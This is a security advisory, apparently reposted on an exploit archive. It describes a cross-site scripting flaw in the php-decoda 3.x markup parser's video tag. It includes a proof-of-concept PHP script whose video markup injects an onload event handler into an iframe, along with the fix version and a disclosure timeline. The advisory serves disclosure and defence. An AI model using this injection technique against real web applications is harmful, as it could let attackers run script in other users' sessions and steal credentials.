exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

php-decoda 3.x Cross Site Scripting

php-decoda 3.x Cross Site Scripting
Posted May 2, 2012
Site redteam-pentesting.de

RedTeam Pentesting discovered a cross site scripting vulnerability in the PHP markup parser Decoda. This allows attackers that should be restricted to the markup supported by Decoda to specify a JavaScript event handler for an iframe tag. Depending on the usage of Decoda, this allows attackers to execute JavaScript code in the context of other users in a web application that uses Decoda. php-decoda versions 3.x prior to 3.3.3 are affected.

tags | exploit, web, php, javascript, xss
SHA-256 | 0809902db089eb0df1163122682d8bc8ca2488799ded80ca16a612d297dc5dbe

php-decoda 3.x Cross Site Scripting

Change Mirror Download
Advisory: php-decoda: Cross-Site Scripting in Video Tags

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability
in the PHP markup parser Decoda. This allows attackers that should be
restricted to the markup supported by Decoda to specify a JavaScript
event handler for an iframe tag. Depending on the usage of Decoda, this
allows attackers to execute JavaScript code in the context of other
users in a web application that uses Decoda.


Details
=======

Product: php-decoda
Affected Versions: 3.x
Fixed Versions: 3.3.3
Vulnerability Type: Cross-Site Scripting
Security Risk: High
Vendor URL: http://milesj.me/code/php/decoda
Vendor Status: fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2012-002
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Decoda is a lightweight class that extracts and parses a custom markup
language; based on the concept of BB code. Decoda supports all the basic
HTML tags and manages special features for making links and emails
auto-clickable, using shorthand emails and links, and finally allowing
the user to add their own code tags.

(from Decoda's homepage)


More Details
============

Decoda supports a directive for videos. For example the Decoda markup

[video="youtube" size="small"]test[/video]

creates the following corresponding HTML code (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/test" width="560" height="315"
frameborder="0"></iframe>

The code to generate the iframe tag can be found in the following file:

decoda/templates/video.php

There, the HTML tag is generated as follows:

<?php if ($player == 'embed') { ?>
<embed src="<?php echo $url; ?>"
type="application/x-shockwave-flash"
allowscriptaccess="always"
allowfullscreen="true"
width="<?php echo $width; ?>"
height="<?php echo $height; ?>"></embed>

<?php } else { ?>
<iframe src="<?php echo $url; ?>"
width="<?php echo $width; ?>"
height="<?php echo $height; ?>"
frameborder="0"></iframe>

<?php } ?>

The variable $url contains the user input provided in the video markup
prefixed by the URL to YouTube. Since quotation signs provided by a user
are not properly encoded, an attacker can use this to specify a
JavaScript event handler that is executed when the resulting HTML
document is loaded.


Proof of Concept
================

The following PHP script can be used to demonstrate this vulnerability:

<?php
include '../decoda/Decoda.php';
$code = new Decoda();
$code->addFilter(new VideoFilter()); ?>
<?php

$decoda_markup = '[video="youtube" size="small"]"';
$decoda_markup .= 'onload="alert(\'RedTeam Pentesting XSS\');" id="[/video]';

$code->reset($decoda_markup);
echo $code->parse();
?>

This results in the following output (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/" onload="alert('RedTeam
Pentesting XSS');" id="" width="560" height="315"
frameborder="0"></iframe>



Workaround
==========

Disabling support for the video markup by not adding the corresponding
filter might close this attack vector depending on the usage of Decoda.

Fix
===

Update to at least version 3.3.3.


Security Risk
=============

The risk of the described vulnerability is considered to be high. It
might be lower depending on the use case of Decoda in a web application.
In case it is used in an web forum to allow formatting of postings, it
can be used by attackers to completely manipulate the web page showing
the respective posting by adding arbitrary content, tracking user
interaction and potentially obtaining credentials from other users.


History
=======

2012-03-26 Vulnerability identified
2012-04-25 Customer approved disclosure to vendor
2012-04-26 First attempt to contact vendor
2012-04-30 Vendor notified
2012-05-01 Vendor released fixed version
2012-05-02 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close